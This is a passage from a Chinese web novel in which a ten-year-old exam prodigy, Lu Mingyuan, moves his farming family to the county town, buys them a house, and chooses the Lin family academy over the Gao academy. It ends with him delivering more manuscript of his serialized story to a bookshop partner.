“谢先生。” 陆明渊这才站起身,垂手立在一旁,姿态谦恭。 赵先生的目光落在他带来的礼物上,在那套崭新的文房四宝上停留了片刻,随即又移开,淡淡说道。 “你有这份心,老夫便收下了。只是这东西,太贵重了些。” “先生教诲之恩,何止千金。这点微末之物,不过是学生的一点心意,还望先生不要推辞。” 陆明渊诚恳地说道。 赵先生不再多言,算是默认了。 他端起桌上的茶杯,轻轻吹了吹浮沫,才又问道:“家里的事,都处置妥当了?” 他虽是教书先生,但在这村里住了一辈子,各家各户的那些事,多少也知道一些。 陆明渊心中一暖,知道先生这是在关心自己,便将分家以及准备搬去县城的事情,简略地说了一遍。 赵先生静静的听着,没有插话,直到陆明渊说完,他才将茶杯放下,发出“嗒”的一声轻响。 “也好。” 他看着陆明渊,眼神变得格外郑重。 “良禽择木而栖,去了县城,入了府学,你便算是真正踏上了青云路。” 他顿了顿,话锋一转,语气也变得严肃起来。 “但是,你也要记住。县学之中,卧虎藏龙,不乏家学渊源、才思敏捷之辈。” “你虽有县试案首之名,却万不可因此自傲。” “学问之道,如逆水行舟,不进则退。你要沉下心来,将根基打得更牢,才能在来年的府试中,再下一城。” “学生谨遵先生教诲。” 赵先生点了点头,似乎对他的态度颇为满意。 他从身旁的几案上,拿起一本线装的、书页已经泛黄的旧书,递了过来。 “这本《山河地理注》,是老夫年轻时游学所得的孤本,里面不仅有各州府的山川形胜,更夹杂了许多前人对各地风物人情的评注。你拿回去,闲暇时多翻翻。” 陆明渊双手接过,只觉书册沉甸甸的,不仅是重量,更是其中蕴含的知识与期望。 他正要道谢,却听赵先生继续说道。 “府试的主考官,多为知府大人,或是他委派的同知、通判。这些人,皆是出身名门,见多识广。” “他们的考题,往往不会局限于四书五经,时常会旁征博引,考校学子的见识与格局。” “你若只知埋头背诵经义,不知天下大势,不知山川地理,纵有生花妙笔,也难免会显得眼界狭隘,格局不大。” “读万卷书,行万里路。你如今行不得万里路,便先在这书里,把这天下,看上一遍吧。” 寥寥数语,却如醍醐灌顶,为陆明渊揭开了更高层次科举考试的一些秘密。 他这才明白,先生给他的,哪里是一本闲书,分明是为他指明了下一阶段努力的方向! 陆明渊心中激荡,再次深深一揖,声音中充满了感激。 “先生厚爱,学生……没齿难忘!” 第059章 这处宅子,开个价吧 三天时间,一晃而过。 王氏将家中为数不多的细软物件一一打包,陆从文则是忙着将十亩水田,整理完毕! 终于,在三天后的清晨,陆家三口人,带着收拾好的细软,登上了前往县城的牛车。 三岁的陆明泽被母亲抱在怀里,好奇地看着渐渐远去的村庄。 牛车吱呀,碾过乡间小路,将一个家庭的过去,缓缓留在了身后。 江陵县城依旧是那般繁华。 人流如织,叫卖声此起彼伏,空气中混合着食物的香气、脂粉的甜腻和尘土的味道。 陆明渊熟门熟路地领着父母,穿过喧闹的街市,停在了福来客栈的门前。 客栈的伙计眼尖,一眼便认出了这位前几日在此地留下惊鸿一笔的少年案首。 他连忙一边高声吆喝着“贵客到”,一边飞奔进去通报。 不消片刻,一个身形微胖、满面红光的中年男人便从柜台后一路小跑了出来。 掌柜的脸上堆着的笑容,比那正午的太阳还要灿烂几分。 “哎哟!陆公子!您可算是回来了!小人真是盼星星盼月亮,总算是把您给盼来了!” 客栈老板一躬到底,姿态放得极低。 陆从文下意识地搓着手,显得有些局促不安。 王氏也紧了紧抱着小儿子的手臂,眼神中带着一丝紧张与探寻。 “老板客气了。” 陆明渊神色平静,微微颔首。 “我带父母前来,需在县城暂住几日,劳烦老板安排两间客房。” “客房?那哪儿成!” 老板头摇得像拨浪鼓。 “必须是最好的天字号房!不!就住您上次住过的那间‘魁首房’!小人早就给您留着了,日日打扫,就等您大驾光临!” 他不由分说,亲自引着陆明渊一家往里走,边走边回头对陆从文夫妇笑道。 “二位可真是好福气,生了陆公子这般文曲星下凡的麒麟儿!” “咱们整个江陵县,如今谁人不知陆公子的才名?” 穿过大堂,来到后院一处清净的跨院,老板推开一间雅致客房的门,满脸神秘地说道。 “陆公子,二位,请看。” 房间还是那个房间,但墙上,却多了一幅装裱精致的字。 正是陆明渊那日酒后所书的《劝学诗》。 老板清了清嗓子,解释道。 “自从陆公子在此留下这幅墨宝,小店这间房,便被城里的学子们称作‘魁首房’。” “您是不知道,这几日,多少学子排着队,情愿花上几十文钱,就为了进来坐一个时辰,沾一沾您的文气!” 他伸出一根手指,又迅速变成了三根,压低了声音,语气里满是藏不住的兴奋。 “就这么一间房,一天下来,小人就能净赚几百文!” “这还不算那些专程为了瞻仰您墨宝而来店里吃饭喝茶的客人。” “陆公子,您就是小店的活财神啊!” 老板话锋一转,对着想要掏钱的陆从文连连摆手。 “房费之事,二位万万不可再提!您一家人想住多久就住多久,一日三餐,小店全包了!” “若是小人再收您一个铜板,那岂不是忘恩负义,要被全县城的读书人戳脊梁骨的!” 这番话说得是滴水不漏,既捧高了陆明渊,又显出了自己的仗义。 陆从文听得云里雾里,只明白了一件事。 自己的儿子,出息大了,大到能让这县城里的大老板都心甘情愿地免费招待。 他黝黑的脸上泛起红光,挺直了胸膛,重重地点了点头:“那……那便多谢老板了!” 心安理得。 王氏站在一旁,静静地看着墙上的字,看着意气风发的儿子,看着眉开眼笑的丈夫,眼眶不知不觉间,便湿润了。 她仿佛看到了十几年前,那个不顾一切也要嫁给穷书生的自己。 她仿佛听到了父亲的叹息和兄长的劝慰。 这些年所受的委屈与辛酸,在这一刻,都化作了值得。 她的儿子,没有让她失望。 安顿好父母,陆明渊从怀中取出五两银子,递给母亲。 “娘,您和爹带着明泽在城里逛逛,扯几尺新布,做两身像样的衣服。” “我去一趟四宝斋,找张老板看看房子的事。等会儿我回来,再带你们一同过去瞧瞧。” 王氏看着那沉甸甸的银子,没有推辞,只是温柔地看着儿子,点了点头。 “好,房子的事,渊儿你拿主意便是,只要你喜欢,娘都依你。” 她知道,这个家,如今真正能拿主意的,是这个年仅十岁的儿子了。 “我不放心,我跟你一起去。” 陆从文却站起了身,语气不容置疑。 陆明渊再怎么聪慧,终究是个孩子,买房子这样的大事,他这个做父亲的,必须在旁边看着,才觉得踏实。 陆明渊心中一暖,没有拒绝。 他知道父亲的心思,这是不放心他的安危。 “好,那我们一起去。” 父子二人并肩走出福来客栈。 很快,四宝斋那块古朴的牌匾便出现在眼前。 陆明渊带着父亲,迈步走了进去。 四宝斋内,一股陈年书墨与新制徽墨混合的雅致香气扑面而来。 掌柜的姓张,是个精明的生意人,此刻正用一块鹿皮细细擦拭着一方端砚。 听见脚步声,他头也未抬,习惯性地说道:“客官随便看,小店的笔墨纸砚,江陵县里数第一。” “张老板。” 听到熟悉的声音,张掌柜猛地抬起头,脸上先是闪过一丝错愕,随即被浓厚的惊喜所取代。 他将端砚与鹿皮小心翼翼地放在案上,三步并作两步地从柜台后绕了出来。 “哎呀!是陆小案首!您可算来了!” 他对着陆明渊拱了拱手,又连忙转向一旁显得有些手足无措的陆从文,更是恭敬地躬了躬身。 “想必这位便是陆老先生了,失敬失敬!小案首人中龙凤,老先生教子有方,佩服,佩服!” 陆从文一张脸涨得通红,嘴唇翕动了几下,才从喉咙里挤出一句:“老板……客气了。” “不客气,不客气!” 张掌柜摆着手,目光重新落回陆明渊身上,眼神里满是热切。 “小案首交代的事,小人怎敢怠慢?早就给您物色好了一处宅子,地段、屋况都是上上之选,就等您来掌眼了!” 说罢,他朝里间伙计高声吩咐了一句“看好铺子”,便亲自取了钥匙,引着父子二人出了门。 “小案首,您这边请。” 张掌柜边走边介绍,语气里透着一股自得。 “这便是城东的东南街” “住在这里的,多是些殷实商贾,还有几位致仕归乡的老爷。” “往东走半里路,便是高家府学,往南过两条街,就是林家府学。” “平日里安静得很,最是适合读书人静心治学。” 他在一扇朱漆木门前停下,门上的铜环擦得锃亮。 随着“吱呀”一声轻响,张掌柜用钥匙打开了门,一股夹杂着淡淡桐油与阳光味道的空气迎面而来。 “二位请进。” 展现在眼前的,是一个干净齐整的院落。 青石板铺地,缝隙里不见一丝杂草。 院子不大,却打理得井井有条,角落里还种着一架葡萄,藤蔓已经爬上了棚架,透着勃勃生机。 这是一座标准的一进院落,正对院门的是三间正房,两侧各有一间厢房,加起来便是四间屋子。 这足够陆家三口人居住,甚至还能留出一间做书房。 张掌柜引着他们一间间看过去,厨房、茅厕一应俱全。 屋内的桌椅床柜等基础家具也都齐备,虽非名贵木料,却也坚固实用,看得出是新近置办的。 陆明渊在院中站定,环视一周。 阳光透过葡萄藤的缝隙,在地上洒下斑驳的光影。 他心中已经有了决断,转头看向父亲。 陆从文一直跟在后面,默默地看着,用他那双常年与土地打交道的手,小心翼翼地抚过桌角,摸过窗棂。 他的眼神里有惊叹,有满意,也有一丝不易察觉的惶恐。 这宅子太好了,好到让他觉得不真实。 见儿子望向自己,他重重地点了点头,声音里带着一丝沙哑:“好……很好。” 得到了父亲的肯定,陆明渊转向张掌柜,平静地问道:“张老板,这处宅子,开个价吧。” 第060章 饭要一口一口吃,路要一步一步 张掌柜伸出四根手指,又比了个五,沉声道。 “这宅子是城里一位绸缎商新修好,本打算给儿子成家用,结果他儿子在外地娶了媳妇儿,便空置了下来。” “屋主急着出手,连带过户的手续文书,一口价,四十五两银子。” 他顿了顿,又补充道:“若是小案首觉得贵了,城西那边还有几处老宅子,便宜是便宜些,只是地段和屋况,就远不如这里了。” 四十五两,对于一个农家而言,是想都不敢想的天文数字。 陆从文的呼吸都为之一滞。 陆明渊却神色不变,这个价格在他预料之中,甚至还略低一些。 他从怀中取出一张五十两的银票,递了过去。 “便这处了。劳烦张老板带我们去办文书。” 张掌柜看着那张银票,眼中精光一闪而过,心中对这个年仅十岁的少年的评价又高了几分。 寻常人听到这个价格,少不得要犹豫、要还价,可这位小案首却是这般干脆利落,这份魄力,非常人所及。 “好嘞!小案首爽快!” 他接过银票,小心收好。 “找零的事,咱们办完手续再说。县衙离此不远,我们这就过去。” 三人很快便到了县衙。 办理地契过户的流程并不复杂,张掌柜显然是熟门熟路,引着他们找到专管此事的书吏。 验明正身,核对房契,缴纳了按大乾律法规定的二成税款,也就是九两银子,新的地契很快就办了下来。 盖着县衙朱红大印,户主一栏清清楚楚写着“陆从文”。 当新地契交到他手上时,陆从文的手都在微微颤抖。 他看着地契上的名字,又看看身边神情淡然的儿子。 一种巨大的、难以言喻的自豪感与恍惚感充斥着他的胸膛。 从今往后,他们陆家,在这江陵县城里,也算是有根的人了。 走出县衙,午后的阳光温暖而不刺眼。 张掌柜将宅子的钥匙和找回的五两银子一并交到陆明渊手中,满脸笑容地说道。 “陆案首,从此刻起,那处宅子便是你的了。恭喜,恭喜!” “若是有需要更换锁具,或是添置些什么家具物什,尽管与我说。” “我帮你联系城里手艺最好、价钱最公道的师傅。” “多谢张老板费心了。” 陆明渊点了点头,从那五两银子中,抽出二两,递了过去。 “这点小意思,不成敬意,还望张老板莫要推辞,权当是请您喝杯茶。” “这如何使得!这如何使得!” 张掌柜连连摆手推辞,但见陆明渊态度坚决,推辞不过,最终还是半推半就地收下了。 他心里明白,这位小案首不只是才华出众,为人处世更是滴水不漏,前途不可限量。 今日结下的这份善缘,将来必有大用。 一番寒暄之后,张掌柜告辞离去。 陆明渊握着那串沉甸甸的钥匙,对父亲说道:“爹,我们回去接娘和明泽过来。” “好,好!回家!” 父子二人脚步轻快地赶回福来客栈。 陆明渊将地契和一串钥匙放在母亲王氏面前,她先是一愣,随即伸出微颤的手,轻轻抚摸着那张薄薄的契纸,眼眶瞬间就红了。 她没有多问一句,只是看着自己的儿子,泪水在眼眶里打着转,却始终没有落下。 所有的辛酸、所有的期盼,在这一刻,都化作了无言的欣慰。 一家人没有再耽搁,带上简单的行囊,离开了客栈。 王氏抱着小明泽,陆从文挑着担子,陆明渊则走在最前面,手中握着钥匙。 当那扇朱漆木门再次被打开,王氏抱着儿子,一步一步,踏进了属于他们自己的院子。 她看着干净的石板路,看着生机勃勃的葡萄藤,看着宽敞明亮的屋子,眼中的泪水终于忍不住,顺着脸颊滑落。 “娘,以后这里就是我们的家了。” 陆明渊轻声说道。 三岁的陆明泽从母亲怀里探出小脑袋,好奇地打量着这个新奇的地方,奶声奶气地问道。 “锅锅,家?我们不是有家吗?” 陆明渊笑着摸了摸他的头:“那是爷爷留给我们的房子,这是哥给我们买的家。”。 “那是爷爷留给我们的房子,这是哥给我们买的家。” 王氏的身子微微一颤,那强忍着未曾落下的泪水,终是再也抑制不住,如断了线的珠子般滚落。 她不是不信儿子,只是眼前的一切,这青石铺地,这朱漆门窗,这满架青翠的葡萄藤,都像是一场过于美好的梦境。 美好到让她不敢轻易触碰,生怕一碰就碎了。 她松开怀里的明泽,任由他迈着小短腿去追逐地上斑驳的光影。 她自己则像个初次进城的孩子,带着几分敬畏,几分惶恐,伸出那双因常年劳作而略显粗糙的手,轻轻抚过廊下的立柱。 她又走到院中的石桌旁,指尖划过桌面,那冰凉的石质让她打了个激灵。 她猛地回头,目光穿过庭院,落在长子陆明渊身上。 他依旧那般平静地站着,手中捏着那张薄薄的、却重逾千斤的地契。 直到这一刻,王氏才终于敢相信,这不是梦。 所有的辛酸、委屈、多年的期盼与隐忍,在这一瞬间尽数涌上心头。 她蹲下身子,将脸埋在臂弯里,压抑的啜泣声在喉间滚动,双肩剧烈地抖动着。 陆从文这个不善言辞的庄稼汉子,见状只是无声地叹了口气,走上前。 他宽厚的手掌笨拙地落在妻子的背上,轻轻拍打着。 他什么也没说,但那掌心传来的温度,却胜过千言万语。 陆明渊静静地看着,没有上前劝慰。 他知道,母亲需要将这些年积攒的情绪尽数宣泄出来。 许久,哭声渐歇。 王氏用袖口擦干了脸上的泪痕,站起身时,眼眶虽红,眼神却已变得明亮而坚定。 她环视着这院子,目光里充满了对未来的希冀。 “渊儿,” 陆明渊等母亲情绪平复,这才开口,指了指院子的布局。 “东厢房向阳,也更宽敞些,爹和娘住那间。我住西厢房便好。” “不行!” 王氏几乎是立刻就回绝了,语气不容置喙。 她走到陆明渊身边,拉起他的手,将他带到那三间正房前,推开了中间最大的一扇门。 “这间最大、最好的,必须是你的。” 她看着儿子,眼中满是慈爱与郑重。 “你如今是案首,往后要考举人,考进士,读书做学问最是耗费心神,断不能在住处上委屈了你。” 她转过身,迅速地规划起来。 “我和你爹住西厢房,明泽还小,南厢房留着他长大了再住。” “剩下的这间正房,就给你辟作书房,专门用来温习功课,存放书籍。谁也不许去打扰。” “娘,这……” 陆明渊想要反驳。 陆从文却瓮声瓮气地开了口,打断了他。 “就听你娘的。渊儿,你娘说得对。” “我和你娘,这辈子就是土里刨食的命,住哪儿都一样,有个遮风挡雨的地方,能睡个安稳觉就够了。” “可你不一样,你是我们陆家的希望。从今往后,家里的一切,都紧着你来。” “你只管安心读书,只要你能有出息,我和你娘就算睡在柴房里,心里也是甜的。” 父亲的话语朴实无华,却字字句句都敲在陆明渊的心坎上。 他郑重地点了点头:“好,我听爹娘的。” 其实,以他手中的财力,完全可以在江陵县里买一处更大、更气派的两进甚至三进院落。 但他不能,也不愿。 木秀于林,风必摧之。 他一个十岁的农家少年,骤然考得案首,已是足够惹眼。 若是再豪掷几百两银子,置办豪宅,必然会引来不必要的揣测与麻烦。 更重要的是,他深知父母的为人。 他们是从陆家村那片土地里生长出来的人,一辈子都活在乡里乡亲的目光与人情世故的网络之中。 他可以不在乎那些闲言碎语,可以割舍掉那些盘根错节的宗族关系,但他的父母不能。 饭要一口一口吃,路要一步一步走。 将父母从村里接到县城,让他们过上安稳体面的生活,这已经是巨大的跨越。 至于其他,来日方长。 见儿子应下,王氏脸上露出了欣慰的笑容。 她仿佛已经看到了儿子在这明亮的屋子里奋笔疾书,最终金榜题名的场景。 她是个雷厉风行的女子,心中有了计较,便立刻行动起来。 她转向丈夫:“当家的,咱们带来的只有些衣物细软,这被褥、锅碗瓢盆、柴米油盐都得重新置办。” “你现在就去街上采买些急用的回来,今晚我们就在新家开火。” “欸!好嘞!” 陆从文闻言,脸上绽放出灿烂的笑容。 他搓着手,憨厚的脸上满是兴奋的光彩,连连点头。 他迫不及待地迈开大步,带着一身的干劲与喜悦,兴高采烈地出门去了。 院子里,只剩下王氏和两个孩子。 午后的阳光愈发柔和,透过葡萄藤的缝隙,在青石板上投下细碎而温暖的光斑。 陆明泽追着光斑跑来跑去,发出咯咯的笑声。 王氏站在廊下,看着院中嬉戏的小儿子,又看看身边沉静如水的长子,心中一片安宁。 这里,就是家了。 一个崭新的,充满希望的家。 第061章 这是天上掉馅饼的好事啊! “媳妇儿,渊儿,快来搭把手!” 陆从文赶着一辆租来的板车,上面堆满了崭新的家什。 从床榻桌椅到锅碗瓢盆,甚至还有几匹簇新的棉布和一袋白得晃眼的精米。 陆明渊上前,与父亲一起,将这些承载着新生活希望的物件一一搬入院中。 王氏指挥着,将每一样东西都安放在最妥帖的位置。 她用新买的抹布,擦拭着屋内的家具! 当最后一缕夕阳的余晖从院墙上滑落,整个小院已经焕然一新。 夜幕降临,新家的厨房里第一次升起了袅袅炊烟。 王氏的手艺极好,纵使在陆家村时常要为米粮发愁,也总能将寻常的菜蔬做出不一样的滋味。 今晚,她更是拿出了看家本领,案板上摆满了切好的肉块与鲜亮的蔬菜。 晚饭丰盛得有些不像话。 一盘红烧肉,肉块肥瘦相间,酱汁浓郁;一盘清炒的时蔬,还有一大盆热气腾腾的鱼汤。 陆明泽这个小馋猫,早就围着桌子打转,一双乌溜溜的大眼睛里写满了渴望,口水几乎要流下来。 “哥,肉,吃肉!” 他拽着陆明渊的衣角,奶声奶气地喊着。 “好,吃肉。” 陆明淵笑着揉了揉他的小脑袋。 陆从文从柜子里拿出一小坛酒,给陆明渊和自己都满上了一碗。 “渊儿,今天是大喜的日子,陪爹喝两盅。” 他端起碗,那双粗糙的大手因激动而微微颤抖。 陆明渊端起碗,与父亲的碗轻轻一碰,发出清脆的声响。 辛辣的酒液滑入喉咙,带着一股火热的暖意,瞬间扩散至四肢百骸。 他看着眼前的一切,心中感慨万千。 穿越至此两个多月,从陆家村那间压抑的土坯房,到如今这窗明几净的县城小院。 这一切恍若一场梦一般! 一顿饭,吃得其乐融融。 陆明泽吃得小肚子滚圆,满嘴流油。 王氏则不断地给长子夹菜,目光中满是欣慰与骄傲。 陆从文话不多,只是咧着嘴笑,一碗接一碗地喝着酒,脸膛喝得通红。 这一夜,一家人睡得格外安稳。 翌日清晨,天光正好。 陆明渊正在院中石桌旁温习经义,陆从文在打理院中的葡萄藤,王氏则在厨房准备早饭。 宁静的晨光里,一切都显得那么和谐而美好。 “咚、咚、咚。” 一阵沉稳的敲门声响起,打破了这份宁静。 陆从文前去开门,门外站着一位身穿青色长衫的中年男子,身后还跟着两个小厮,气度不凡。 “请问,此处可是陆案首府上?” 那男子拱了拱手,语气客气,却自有一股居高临下的意味。 “正是,您是?” 陆从文有些拘谨地回礼。 “在下高家府学主事,姓钱。听闻陆案首天资聪颖,特来相邀。” 钱主事说着,目光越过陆从文,落在了院中神色平静的陆明渊身上。 高家府学! 这四个字如同一道惊雷,在陆从文耳边炸响。 这可是江陵县最好的学堂,县中大半的秀才都出自那里,背后更是有县尊高家撑腰,门槛高得寻常人家连想都不敢想。 “快,快请进!” 陆从文连忙将人让了进来。 钱主事也不客气,径直走到院中,对陆明渊微微颔首,开门见山道。 “陆明渊,我家学政大人爱才,特命我前来。你若愿入我高家府学,有三个条件。” 他伸出三根手指,声音清晰地回荡在小院中。 “其一,入学束脩、笔墨纸砚,一应全免。” “其二,每月另有二两银子的月钱,供你生活之用。” “其三,待你考中秀才,若想继续精进,府学可出资,送你前往省城乃至京师,拜访名师,助你科举之路一帆风顺!” 这条件,丰厚至极! 陆从文已经彻底听傻了。 他张着嘴,呆呆地看着那钱主事,又看看自己的儿子。 免掉所有花费不说,还倒贴钱? 以后还要出钱送去京城读书? 这是天上掉馅饼的好事啊! 高家府学,竟然求着他儿子去读书? 他激动得就要替儿子答应下来。 然而,陆明渊却站起身,对着钱主事深深一揖,声音清朗而沉静。 “多谢先生美意,也多谢贵学政大人的看重。只是,学生心意已决,不打算入任何府学。” 他拒绝了。 干脆利落,没有一丝一毫的犹豫。 院子里瞬间陷入了一片死寂。 钱主事脸上的笑容僵住了,他有些不敢相信自己的耳朵。 “你说什么?” 陆从文也急了,连忙扯了扯儿子的衣袖,压低声音道。 “渊儿,你疯了!这么好的事……” 陆明渊没有理会父亲,只是平静地重复了一遍。 “学生谢过先生好意,但确实无意入学。” 钱主事的脸色彻底沉了下来。 他走南闯北,为高家府学延揽过不知多少才子,还从未被人当面如此干脆地拒绝过。 这不仅是对他的羞辱,更是对高家府学的蔑视。 “陆明渊,” 他的声音冷了三分。 “你可要想清楚了。我高家府学的门槛,不是谁想进就能进,也不是谁想拒就能拒的。” “江陵县的读书人,都以入我府学为荣。错过了今日,你将来可莫要后悔。” 话语中,已带上了毫不掩饰的威胁之意。 陆明淵的目光依旧平静如水,他再次拱手。 “学生心意已决,绝不后悔。” “好!好!好!” 钱主事怒极反笑,连说三个“好”字,一甩袖袍,“真是不知天高地厚!我们走!” 他带着两个小厮,怒气冲冲地转身离去。 “哎,先生,先生……” 陆从文想要追上去解释,却被陆明渊拉住了。 “爹,不必去了。” “你……你这孩子!你知不知道你错过了什么!” 陆从文气得跺脚,满脸的痛心疾首,“这可是高家府学啊!” 陆明渊正要解释,院门外,又响起了敲门声。 “咚、咚、咚。” 这次的敲门声,比方才要温和许多。 陆从文还沉浸在方才的懊恼中,没好气地走过去拉开门。 门外站着一位须发微白的老者,同样一身儒衫,面容和蔼,身后跟着一个眉清目秀的书童。 “老朽林家府学教习,冒昧来访,敢问陆案首可在家中?” 陆从文彻底傻眼了。 林家府学? 江陵县能与高家府学分庭抗礼的,唯有林家府学! 老者被请进院中,看到陆明渊,眼中露出欣赏之色,同样开出了几乎一模一样的优渥条件。 “陆案首若愿入我林家府学,束脩学费尽免,每月亦有纹银二两奉上。” “他日金榜题名,我林家必将倾力相助!” 陆从文呆立当场,脑子里嗡嗡作响。 这到底是怎么了? 先是高家,后是林家,江陵县两大府学,竟然争着抢着要收自己的儿子,还开出这等闻所未闻的条件。 他愣愣地看着身边那个身形尚显单薄,面容却沉静如渊的十岁少年。 自己的儿子,什么时候变得这么厉害了? 第062章 木秀于林,风必摧之 陆明渊没有去看父亲惊疑不定的脸,他只是向前一步,对着老者再次深深一揖。 “学生陆明渊,见过先生。先生厚爱,学生愧不敢当。若林家府学不弃,学生愿入学就读,聆听教诲。” 此言一出,那老者眼中欣赏之色更浓,连连点头道。 “好,好!不骄不躁,是块读书的好材料!老朽姓周,单名一个‘礼’字,忝为林家府学教习,日后你称我周先生即可。” 周礼从袖中取出一封制作精良的书信,双手递给陆明渊,郑重道。 “这是我府学的入学文书,你且收好。三日后,你可凭此信前来府学报到。” “届时自有专人为你安排学舍、发放月钱。府学卯时开课,午时散学,下午可自行温习,也可去藏书楼借阅典籍。” 他一番叮嘱,事无巨细,言语间满是关切与期许,与方才高家钱主事那副公事公办、暗藏倨傲的模样,判若云泥。 “学生谨记先生教诲。” 陆明渊恭敬地接过书信。 “好,那老朽便不多叨扰了,在府学静候案首大驾。” 周礼满意地笑了笑,又对一旁的陆从文拱了拱手。 “恭喜陆兄,教出如此麒麟儿,日后前途不可限量啊!” “不敢当,不敢当……” 陆从文这才如梦初醒,连忙躬身回礼,亲自将周先生和书童送出了院门,看着他们背影消失在巷口,他才恍恍惚惚地关上院门。 一转身,他快步走到儿子面前,声音都有些发颤。 “渊儿,你……你为何选了林家,却拒了那高家?高家背后可是县尊大人,我们……我们得罪不起啊!” 陆明渊扶着父亲坐到石凳上,给他倒了杯凉茶,这才不急不缓地解释道。 “爹,你还记得村里的赵夫子吗?” “赵夫子?自然记得。” 陆从文点头,提起这位村里的老先生,他脸上不由自主地露出敬佩之色。 “那可是咱村里最有学问的人。” “我参加县试之前,曾去拜会过夫子。夫子嘱我,若有机会,当择林家。” “夫子当时便与我提过,若有幸考中,县里府学来邀,高家势大,但行事霸道,学风浮躁。” “林家乃是书香门第,底蕴深厚,更重育。” 陆明渊目光清明,缓缓道。 “赵夫子是我的启蒙恩师,他不会害我的。” 听到是赵夫子的指点,陆从文心中的疑虑顿时消散了大半。 他对这位赵夫子,是发自内心的信服。 村里人都知道,赵夫子年轻时才华横溢,若非时运不济,当年差一点就中了进士,那是能面见天子的大人物! 后来落魄回乡,性子也变得古怪,收徒全凭眼缘。 村里多少人提着厚礼上门,都被他拒之门外,唯独对自己这个儿子青眼有加。 “原来是赵夫子的意思……” 陆从文长舒了一口气,拍了拍大腿。 “那就没错了!赵夫子是见过大世面的人,他让你这么选,就一定有他的道理!爹懂了,爹懂了!” 他猛地站起来,拉着闻声从厨房出来的王氏,激动得语无伦次。 “孩儿他娘,快!渊儿要去林家府学念书了!咱们快给他收拾东西!” 王氏方才在屋里也听了个大概,此刻脸上亦是掩不住的笑意。 她嗔怪地拍了丈夫一下:“着什么急,还有三天呢。衣裳要选簇新的,书本笔墨也要备齐了,不能让渊儿在学里被人小瞧了去。” 夫妇二人说干就干,立刻就在堂屋里忙碌起来。 王氏打开刚买回来的新木箱,将几件新做的棉布长衫仔细叠好放入,又拿出针线,要在衣角内侧为儿子绣上名字。 陆从文则将陆明渊的书箱搬出来,一本本地擦拭着书册上的灰尘,检查着笔墨纸砚是否齐全。 整个屋子都洋溢着一种名为“希望”的勃勃生机。 陆明渊抱着弟弟陆明泽,静静地站在一旁看着。 陆明泽眨巴着一双乌溜溜的大眼睛,好奇地看着父母忙成一团,他扯了扯陆明渊的衣袖,奶声奶气地问。 “锅锅,爹和娘在干什么呀?锅锅要出走吗?” “噗嗤。”陆明渊被他逗笑了,捏了捏他肉乎乎的小脸蛋,温声道。 “哥哥不是要出走,是要去一个叫‘府学’的地方,去上学,去读更多的书。” “上学?读书?” 陆明泽歪着小脑袋,似懂非懂,他见过哥哥每天天不亮就起来读书的样子,虽然不知道那是什么,但感觉很厉害。 他用力地点了点头,用一种极为认真的语气,嗲声嗲气地宣布:“那我也要上学!我也要跟锅锅一样!” 陆明渊笑着揉乱了他的头发,附和道。 “好,等明泽长大了,哥哥也送你去上学。” 看着父母忙碌的背影和弟弟天真的脸庞,陆明渊心中涌起一股暖流。 这就是家,是他两世为人,最为珍视的港湾。 待父母将东西收拾得差不多了,陆明渊才开口道。 “爹,娘,东西不急着一时收拾完。我想先去一趟县里的翰墨轩。” 陆从文停下手里的活,问道:“去书铺做什么?” “之前与翰墨轩的林家少爷有些合作,写了些话本故事。如今县试已了,也该去与他商议一下后续的事情。” 陆明渊坦然道。这不仅是合作,更是如今这个新家的重要经济来源,必须妥善处理。 一听是正事,陆从文立刻点头答应:“好,那你快去快回,万事小心!” 告别了家人,陆明渊独自一人,朝着翰墨轩的方向走去。 当他踏入翰墨轩的那一刻,正在柜台后拨着算盘的林远峰猛地抬起头,一双眼睛瞬间瞪得溜圆。 “陆……陆兄!” 林远峰几乎是从柜台后面跳了出来,三步并作两步冲到陆明渊面前,脸上是混杂着震惊、狂喜与难以置信的神情。 他抓住陆明渊的肩膀,用力晃了晃,压低了声音,但激动的语调都在发颤。 “你竟然是本届县试的案首!我前些天听到放榜的名字时,还以为是同名同姓,没想到……真没想到竟然是你!” 他绕着陆明渊转了两圈,啧啧称奇,仿佛在看什么稀世珍宝。 “我早该想到的,能写出《石猴记》这等奇书的人,怎么可能是凡夫俗子!陆兄,你藏得也太深了!” 陆明渊任由他打量,脸上带着一丝无奈的笑意:“林兄过誉了,不过是侥幸而已。” “这可不是侥幸!” 林远峰激动地一拍手掌,眼中闪烁着商人的精光。 “这是天大的好消息!陆兄,你听我说,咱们得立刻把这个消息放出去!就说《石猴记》的作者,正是本届县试魁首陆明渊!” “这是何等的噱头!咱们的话本销量,绝对能再翻上几番!不,是十番!” 他越说越兴奋,仿佛已经看到了无数银子正朝自己飞来。 然而,陆明渊却缓缓地摇了摇头,神色平静地拒绝了。 “不可。” 林远峰脸上的狂热笑容一僵,不解地看着他。 “为何不可?这可是名利双收的大好事啊!” 陆明渊的目光深邃而沉静,没有半分少年人的得意与浮躁,他轻声说道。 “林兄,木秀于林,风必摧之。” “我如今不过一介童生,年岁又小,突然名声大盛,并非好事,只会招来不必要的麻烦与嫉恨。” “此事,还请林兄为我保密。” 第063章 喜获案首,双喜临门 “为何?” 林远峰压下心中的不解,追问道。 “陆兄,这可是扬名的最好时机。名声一起,日后无论是府试还是院试,主考官都会对你高看一眼。” “这其中的好处,不言而喻。” 陆明渊笑了笑,那笑容里带着一丝看透世情的淡然。 “林兄,你说的名,是浮名。于我而言,不过是烈火烹油,火势一过,只剩灰烬。” “我如今不过是个刚刚开笔的童生,需要的是潜心向学,不是成为众矢之的。” 他顿了顿,声音愈发平静。 “更何况,《石猴记》如今的销量,难道还不够好吗?” “它的根基在于故事本身,而非作者是谁,若强行捆绑,反而落了下乘,失了那份纯粹的趣味。” 一番话说得林远峰哑口无言。 他怔怔地看着陆明渊,半晌才苦笑着摇了摇头。 “我只想着银子和噱头,却忘了这最根本的道理。陆兄,你……你真是……” 他想了半天,也找不到一个合适的词来形容,最终只能叹服地拱了拱手。 “受教了。” 陆明渊坦然受了这一礼,这才从随身携带的布袋里,取出一叠厚厚的稿纸,用细麻绳整齐地捆着,放在了柜台上。 稿纸堆叠起来足有三指厚,散发着淡淡的墨香。 “这是……” 林远峰的眼睛瞬间亮了。 “我即将入学府学,日后恐怕无法像之前那样频繁地送稿了。” 陆明渊解释道,“这里是《石猴记》后续三十万字的内容,应当足够翰墨轩用上一阵子了。以后,我大概每月只能抽出两日时间过来送稿。” 三十万字! 林远峰的呼吸都变得急促起来。 有了这三十万字,翰墨轩未来几个月的生意就有了保障,这哪里是稿纸,这分明就是一沓沓会下金蛋的银票! 